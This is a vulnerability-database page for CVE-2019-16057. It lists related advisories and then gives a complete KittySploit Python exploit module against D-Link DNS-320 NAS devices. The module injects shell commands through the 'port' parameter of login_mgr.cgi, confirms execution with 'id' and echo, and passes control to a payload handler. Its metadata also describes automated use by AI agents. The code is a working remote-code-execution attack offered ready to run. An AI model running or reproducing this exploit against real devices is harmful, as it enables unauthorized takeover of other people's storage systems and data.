D-Link DNS-320 login_mgr RCE (CVE-2019-16057)
| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| CVE-2019-16057 | 16 Sep 201900:00 | – | attackerkb | |
| D-Link DNS-320 Code Execution | 9 Oct 201900:00 | – | bdu_fstec | |
| CVE-2019-16057 | 15 Oct 202015:07 | – | circl | |
| D-Link DNS-320 Remote Code Execution Vulnerability | 15 Apr 202200:00 | – | cisa_kev | |
| D-Link DNS-320 Remote Command Injection Vulnerability | 17 Sep 201900:00 | – | cnvd | |
| D-Link DNS-320 ShareCenter Command Injection (CVE-2019-16057) | 25 Jan 202100:00 | – | checkpoint_advisories | |
| CVE-2019-16057 | 16 Sep 201911:58 | – | cve | |
| CVE-2019-16057 | 16 Sep 201911:58 | – | cvelist | |
| D-Link Routers RCE (CVE-2019-16057) | 1 Mar 202300:00 | – | nessus | |
| D-Link DNS-320 - Remote Code Execution Detection | 28 Jul 202611:27 | – | kittysploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DNS-320 login_mgr.cgi RCE (CVE-2019-16057)."""
import re
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'D-Link DNS-320 login_mgr RCE (CVE-2019-16057)',
'description': (
'Exploits CVE-2019-16057 in D-Link DNS-320 <=2.05.B10: command injection in '
'login_mgr.cgi port parameter.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2019-16057'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2019-16057',
],
'tags': ['dlink', 'nas', 'rce', 'cmdi', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2019_16057_detect'],
},
},
}
def execute(self, cmd: str) -> str:
inj = urllib.parse.quote(f'80|{cmd}', safe='')
path = (
f'/cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin'
f'&port={inj}&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username='
)
r = self.http_request(method='GET', path=path, allow_redirects=False)
return (r.text or '') if r else ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2019-16057 injection confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'DNS-320 injection not confirmed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8
CVSS 210
EPSS0.86491
SSVC